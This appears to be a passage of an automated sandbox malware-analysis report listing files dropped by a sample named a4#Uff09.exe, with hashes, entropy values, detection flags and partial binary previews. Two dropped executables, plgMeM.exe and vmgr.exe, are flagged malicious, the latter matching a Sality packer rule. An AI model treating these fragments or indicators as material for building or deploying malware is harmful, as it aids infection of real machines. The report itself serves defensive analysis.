                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\mkcf.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\nfbj.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\nqxxxy.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\ooea.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\pabsyd.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\plgMeM.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                          Category:dropped
                                                          Size (bytes):15872
                                                          Entropy (8bit):7.031113762428177
                                                          Encrypted:false
                                                          SSDEEP:384:7XZQaD7U8iu4YsAa7ZA0UvH2lsRv21yW7GbAxur6+Y9PffPz:1QGPL4vzZq2o9W7GsxBbPr
                                                          MD5:56B2C3810DBA2E939A8BB9FA36D3CF96
                                                          SHA1:99EE31CD4B0D6A4B62779DA36E0EEECDD80589FC
                                                          SHA-256:4354970CCC7CD6BB16318F132C34F6A1B3D5C2EA7FF53E1C9271905527F2DB07
                                                          SHA-512:27812A9A034D7BD2CA73B337AE9E0B6DC79C38CFD1A2C6AC9D125D3CC8FA563C401A40D22155811D5054E5BAA8CF8C8E7E03925F25FA856A9BA9DEA708D15B4E
                                                          Malicious:true
                                                          Antivirus:
                                                          • Antivirus: ReversingLabs, Detection: 100%
                                                          Joe Sandbox View:
                                                          • Filename: 1.0.0.2.exe, Detection: malicious, Browse
                                                          • Filename: log1.exe, Detection: malicious, Browse
                                                          • Filename: log2.exe, Detection: malicious, Browse
                                                          • Filename: 2.exe, Detection: malicious, Browse
                                                          • Filename: gracNYJFpD.exe, Detection: malicious, Browse
                                                          • Filename: xpKZwKFN9W.exe, Detection: malicious, Browse
                                                          • Filename: LVF7FM9Z4I.exe, Detection: malicious, Browse
                                                          • Filename: hJSrJRHret.exe, Detection: malicious, Browse
                                                          • Filename: KFt0cactum.exe, Detection: malicious, Browse
                                                          • Filename: gvQbT2QOfb.exe, Detection: malicious, Browse
                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......z.I.>.'.>.'.>.'..7\.2.'...(.?.'.>.&.y.'.Q.#.=.'..).?.'.7...6.'.7...?.'.Rich>.'.................PE..L...JG.R.............................`.......0....@.......................................@..................................p...............................o.......................................................................................text.... ..........................`....rdata.......0......................@....data........@......................@....reloc.......P.......(..............@....aspack.. ...`.......,..............`....adata...............>..............@...................................................................................................................................................................................................................................................................................................

                                                          C:\Users\user\AppData\Local\Temp\prppmn.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\qqmely.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\qufl.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\quusl.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\rpxpom.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:modified
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\sncni.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\stkja.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\tisrqt.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\tpwi.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\tqisqa.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\ufdug.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\vcvgk.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\vdhtod.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\vmgr.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                          Category:dropped
                                                          Size (bytes):74752
                                                          Entropy (8bit):7.977861797580207
                                                          Encrypted:false
                                                          SSDEEP:1536:R6IERy3wGegXn9oN/KCT74XqJZBqi+fHuCZcs+RJEdNzWmmY:R+GegXnSN/7YqJZBOOccBR6Wm9
                                                          MD5:38C05237BBBB4DF6EC488E30D5ECFCE0
                                                          SHA1:8D1B6C4E79EE8E555947BF3ED929D8C4384AA436
                                                          SHA-256:5BFC1F4B34710A016D19DB483EFC5E8D64FDECDD472469F850F868570D61F803
                                                          SHA-512:5BA505A1149F3F94EAC9EF074FB62B364776986919D1E186C9141AD67F0735ED3BD10C6F95E41A159B1A6CF3EAA073109251BE2D4C7713BFBFFF3FAEDA1BC22D
                                                          Malicious:true
                                                          Yara Hits:
                                                          • Rule: INDICATOR_EXE_Packed_SimplePolyEngine, Description: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality, Source: C:\Users\user\AppData\Local\Temp\vmgr.exe, Author: ditekSHen
                                                          Preview:MZ..........PE..L...yrf<[LordPE]....................@.............@..........................@..............................................`...<....................................................................................................................text....0.......".................. ...............................`...<....................................................................................................................text............................... ...........................................H.e.l.l.o. .w.o.r.l.d.!.....C.a.p.t.i.o.n............_......W...i.j.....@................................................................................}.ExitProcess.KERNEL32.dll....MessageBoxW.USER32.dll........................................................................................................................................................................................................................................................................

                                                          C:\Users\user\AppData\Local\Temp\vnyo.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\vqmmmf.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
